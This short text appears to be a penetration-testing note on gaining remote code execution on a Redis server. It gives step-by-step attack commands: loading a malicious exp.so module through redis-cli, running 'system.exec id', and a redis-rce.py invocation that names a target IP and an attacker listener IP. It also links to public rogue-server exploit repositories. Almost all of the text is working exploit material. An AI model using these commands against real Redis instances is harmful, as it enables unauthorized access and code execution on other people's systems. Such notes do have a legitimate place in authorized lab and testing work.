It can either exploit a vulnerability or leverage credentials to gain access.
(1) Upload a shared library to a know filepath
https://github.com/n0b0dyCN/redis-rogue-server/blob/master/exp.so
(2) redis-cli -h 192.168.208.93
MODULE LOAD <full-path-to-exp.so>/exp.so
(3) system.exec 'id'
python2 redis-rce.py -r 192.168.200.93 -L 192.168.49.200 -f exp.so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server/blob/master/exp.so